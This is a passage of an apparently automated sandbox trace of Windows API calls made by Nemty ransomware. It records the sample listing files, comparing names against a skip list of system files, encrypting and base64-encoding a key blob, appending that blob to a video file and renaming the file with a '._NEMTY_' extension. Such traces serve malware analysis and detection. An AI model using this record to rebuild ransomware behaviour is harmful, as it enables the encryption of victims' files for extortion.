hHeap=0x4f90000) returned 1 [0074.323] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0074.323] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f942b0 [0074.323] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xdff15b30, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xdff15b30, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a70 [0074.323] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0074.323] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xdff15b30, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xdff15b30, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0074.323] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0074.323] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0074.323] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72003fbd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72003fbd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e55fac9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39eaa, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="Notes_INTRO_BG.wmv", cAlternateFileName="")) returned 1 [0074.323] lstrcmpiW (lpString1="Notes_INTRO_BG.wmv", lpString2=".") returned 1 [0074.323] lstrcmpiW (lpString1="Notes_INTRO_BG.wmv", lpString2="..") returned 1 [0074.323] lstrcmpiW (lpString1="Notes_INTRO_BG.wmv", lpString2="...") returned 1 [0074.323] lstrcmpiW (lpString1="Notes_INTRO_BG.wmv", lpString2="windows") returned -1 [0074.323] lstrcmpiW (lpString1="Notes_INTRO_BG.wmv", lpString2="$RECYCLE.BIN") returned 1 [0074.323] lstrcmpiW (lpString1="Notes_INTRO_BG.wmv", lpString2="rsa") returned -1 [0074.323] lstrcmpiW (lpString1="Notes_INTRO_BG.wmv", lpString2="NTDETECT.COM") returned -1 [0074.323] lstrcmpiW (lpString1="Notes_INTRO_BG.wmv", lpString2="ntldr") returned -1 [0074.323] lstrcmpiW (lpString1="Notes_INTRO_BG.wmv", lpString2="MSDOS.SYS") returned 1 [0074.323] lstrcmpiW (lpString1="Notes_INTRO_BG.wmv", lpString2="IO.SYS") returned 1 [0074.323] lstrcmpiW (lpString1="Notes_INTRO_BG.wmv", lpString2="boot.ini") returned 1 [0074.323] lstrcmpiW (lpString1="Notes_INTRO_BG.wmv", lpString2="boot.ini") returned 1 [0074.323] lstrcmpiW (lpString1="Notes_INTRO_BG.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0074.323] lstrcmpiW (lpString1="Notes_INTRO_BG.wmv", lpString2="ntuser.dat") returned -1 [0074.324] lstrcmpiW (lpString1="Notes_INTRO_BG.wmv", lpString2="desktop.ini") returned 1 [0074.324] lstrcmpiW (lpString1="Notes_INTRO_BG.wmv", lpString2="CONFIG.SYS") returned 1 [0074.324] lstrcmpiW (lpString1="Notes_INTRO_BG.wmv", lpString2="RECYCLER") returned -1 [0074.324] lstrcmpiW (lpString1="Notes_INTRO_BG.wmv", lpString2="BOOTSECT.BAK") returned 1 [0074.324] lstrcmpiW (lpString1="Notes_INTRO_BG.wmv", lpString2="bootmgr") returned 1 [0074.324] lstrcmpiW (lpString1="Notes_INTRO_BG.wmv", lpString2="programdata") returned -1 [0074.324] lstrcmpiW (lpString1="Notes_INTRO_BG.wmv", lpString2="appdata") returned 1 [0074.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0074.324] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_INTRO_BG.wmv", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0074.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0074.324] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_INTRO_BG.wmv", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Notes_INTRO_BG.wmv", lpUsedDefaultChar=0x0) returned 18 [0074.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0074.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0074.324] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_INTRO_BG.wmv", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0074.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0074.324] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_INTRO_BG.wmv", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Notes_INTRO_BG.wmv", lpUsedDefaultChar=0x0) returned 18 [0074.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0074.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0074.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0074.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0074.324] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_INTRO_BG.wmv", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0074.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0074.324] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_INTRO_BG.wmv", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Notes_INTRO_BG.wmv", lpUsedDefaultChar=0x0) returned 18 [0074.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0074.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0074.324] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_INTRO_BG.wmv", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0074.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0074.324] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_INTRO_BG.wmv", cchWideChar=18, lpMultiByteStr=0x4f9ed08, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Notes_INTRO_BG.wmv", lpUsedDefaultChar=0x0) returned 18 [0074.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0074.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0074.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0074.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0074.324] Sleep (dwMilliseconds=0x5) [0074.350] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdff61df0, dwHighDateTime=0x1d561e7)) [0074.350] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdff61df0, dwHighDateTime=0x1d561e7)) [0074.351] GetLastError () returned 0xb7 [0074.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0074.353] GetLastError () returned 0xb7 [0074.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0074.357] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0074.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0074.358] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0074.359] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0074.370] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0074.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0074.371] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="8H2p0b8KiWonUF5gIVpNdQTewV6H3BtzzjqC3il5ujxYX2JU2fSnNxkLAZlwjHlH\r\nFbyZlBk9AHN5wGGf34e2/KXRVRgMiK54KByPrWzpDxQDIfnoY9iBp1WzYFW9xwS1\r\nRfOiU0bZ21A4ocRUvI4WXl8kqJJiSsb8Qcbi7neArdkPMR3SZhfePFItI3pgg+w0\r\nhPJwqBkOs8Lk6w1tCXeSz7Nbd3yNclhBeuf7qGpVjVQ0Y8eVYsDf4UNH8MBZpDGc\r\nfB1Ivn45TMPhYu4kAq3aMRI/AgR4x5K7E5AH3PUCYo4tQLEfmZdOQP4WY4wRmynf\r\nV+y4uk466RpJb/hemgzSsg==\r\n", pcchString=0x653e91c) returned 1 [0074.372] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0074.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0074.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0074.375] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0074.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0074.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0074.376] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0074.377] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0074.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0074.377] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.377] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.386] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.386] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.386] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.386] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.395] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.395] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.395] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.395] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.404] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.404] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.404] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.405] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.415] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.415] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.415] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.415] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.424] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.424] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.424] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.425] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.434] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.434] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.434] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.434] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.443] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.443] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.443] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.443] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.452] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.452] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.452] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.452] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.462] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.462] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.462] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.462] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.472] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.472] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.472] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.472] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.478] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.478] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.478] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.478] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.484] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.484] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.484] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.484] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0074.484] CloseHandle (hObject=0xffffffff) returned 0 [0074.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0074.484] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0074.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0074.484] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0074.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0074.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0074.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0074.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x4f942b0 [0074.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0074.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0074.484] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg.wmv._nemty_kgobjgd_")) returned 0 [0074.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0074.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0074.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0074.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0074.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0074.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0074.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0074.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0074.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0074.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0074.485] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72050277, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72050277, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e55fac9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3dd24, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="Notes_INTRO_BG_PAL.wmv", 